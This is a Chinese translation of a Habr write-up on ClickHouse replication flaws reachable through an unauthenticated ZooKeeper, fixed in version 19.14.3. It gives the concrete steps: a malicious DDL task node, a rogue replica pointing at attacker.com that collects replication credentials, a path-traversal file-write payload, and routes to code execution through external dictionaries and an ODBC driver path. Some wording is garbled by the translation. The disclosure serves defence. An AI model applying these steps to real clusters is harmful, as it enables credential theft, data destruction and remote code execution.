为什么动物园的笼子需要关闭?

为什么动物园的笼子需要关闭?

本文将讲述 ClickHouse 复制协议中一个非常具体的漏洞的故事,还将展示如何扩展攻击面。

ClickHouse 是一种用于存储大量数据的数据库,通常使用多个副本。 ClickHouse 中的集群和复制是建立在之上的 阿帕奇ZooKeeper (ZK) 并需要写权限。

默认的ZK安装不需要身份验证,因此用于配置Kafka、Hadoop、ClickHouse的数千台ZK服务器是公开可用的。

为了减少攻击面,您应该在安装 ZooKeeper 时始终配置身份验证和授权

当然有一些基于 0day 的 Java 反序列化,但想象一下攻击者可以读取和写入用于 ClickHouse 复制的 ZooKeeper。

当配置为集群模式时,ClickHouse支持分布式查询 DDL,通过 ZK - 在工作表中为它们创建节点 /clickhouse/task_queue/ddl.

例如,您创建一个节点 /clickhouse/task_queue/ddl/query-0001 内容:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

之后,集群服务器host1和host2上的测试表将被删除。 DDL 还支持运行 CREATE/ALTER/DROP 查询。

听起来很可怕吗? 但是攻击者可以从哪里获得服务器地址呢?

ClickHouse复制 在单个表的级别上工作,因此当在 ZK 中创建表时,会指定一个服务器负责与副本交换元数据。 例如执行请求时(必须配置ZK, chXX - 副本的名称, foob​​ar - 表名称):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

将创建节点 и 元数据.

内容 /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

是否可以合并该集群中的数据? 是的,如果复制端口(TCP/9009) 在服务器上 chXX-address 防火墙不会关闭,并且不会配置复制身份验证。 如何绕过身份验证?

攻击者只需复制 ZK 中的内容即可在 ZK 中创建新副本 /clickhouse/tables/01-01/foobar/replicas/chXX 并改变意义 host.

内容 /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

然后你需要告诉其他副本,攻击者的服务器上有一个新的数据块需要他们获取——在ZK中创建了一个节点 /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX单调增长计数器,应大于事件日志中的最后一个):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

哪里 源_副本 — 在上一步中创建的攻击者副本的名称, 区块ID — 数据块标识符, 得到 - “获取块”命令(和 这是其他操作的命令).

接下来,每个副本都会读取日志中的一个新事件,并前往攻击者控制的服务器接收数据块(复制协议是二进制的,运行在 HTTP 之上)。 服务器 attacker.com 将收到请求:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

其中 XXX 是用于复制的身份验证数据。 在某些情况下,这可能是通过主 ClickHouse 协议和 HTTP 协议访问数据库的帐户。 正如您所看到的,攻击面变得非常大,因为用于复制的 ZooKeeper 没有配置身份验证。

让我们看一下从副本中获取数据块的功能,它的编写充满信心,所有副本都处于适当的控制之下并且它们之间存在信任。

为什么动物园的笼子需要关闭?
复制处理代码

该函数读取文件列表,然后读取它们的名称、大小、内容,然后将它们写入文件系统。 值得单独描述数据如何存储在文件系统中。

里面有几个子目录 /var/lib/clickhouse (配置文件中的默认存储目录):

标志 - 录音目录 标志,用于数据丢失后的恢复;
TMP — 存储临时文件的目录;
用户文件 — 请求中文件的操作仅限于此目录(INTO OUTFILE 等);
元数据 — 带有表描述的 sql 文件;
预处理配置 - 处理衍生配置文件 /etc/clickhouse-server;
data - 包含数据本身的实际目录,在这种情况下,为每个数据库简单地在此处创建一个单独的子目录(例如 /var/lib/clickhouse/data/default).

对于每个表,都会在数据库目录中创建一个子目录。 每列都是一个单独的文件,具体取决于 引擎格式。 例如对于一个表 foob​​ar由攻击者创建,将创建以下文件:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

副本期望在处理数据块时接收具有相同名称的文件,并且不以任何方式验证它们。

细心的读者可能已经听说过函数中 file_name 的不安全串联 WriteBufferFromFile。 是的,这允许攻击者以用户权限向 FS 上的任何文件写入任意内容 clickhouse。 为此,攻击者控制的副本必须返回以下对请求的响应(为了便于理解已添加换行符):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

并连接后 ../../../../../../../../../tmp/pwned 该文件将被写入 /tmp/pwned 有内容 你好来自动物园管理员.

有多种选项可将文件写入功能转变为远程代码执行 (RCE)。

RCE 中的外部字典

在旧版本中,ClickHouse设置的目录是用用户权限存储的 点击之家 默认。 设置文件是服务在启动时读取然后缓存在其中的 XML 文件 /var/lib/clickhouse/preprocessed_configs。 当发生变化时,它们会被重新读取。 如果您有权访问 /etc/clickhouse-server 攻击者可以创建自己的 外部词典 可执行类型,然后执行任意代码。 当前版本的 ClickHouse 默认情况下不提供权限,但如果服务器逐渐更新,此类权限可能会保留。 如果支持ClickHouse集群,请检查settings目录的权限,它必须属于用户 root.

ODBC 到 RCE

安装包时,会创建一个用户 clickhouse,但未创建其主目录 /nonexistent。 但是,当使用外部词典时,或者由于其他原因,管理员会创建一个目录 /nonexistent 并给用户 clickhouse 访问写入它(SSZB! 约译者).

ClickHouse 支持 ODBC 并且可以连接到其他数据库。 在 ODBC 中,您可以指定数据库驱动程序库 (.so) 的路径。 旧版本的 ClickHouse 允许您直接在请求处理程序中执行此操作,但现在添加了对连接字符串的更严格检查 odbc-bridge,因此无法再从请求中指定驱动程序路径。 但是攻击者可以利用上述漏洞写入主目录吗?

让我们创建一个文件 ~/.odbc.ini 内容如下:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

然后在启动时 SELECT * FROM odbc('DSN=lalala', 'test', 'test'); 该库将被加载 test.so 并收到 RCE(感谢 布格洛克 为小费)。

这些漏洞和其他漏洞已在 ClickHouse 版本 19.14.3 中修复。 照顾好你的 ClickHouse 和 ZooKeeper!

来源: habr.com

添加评论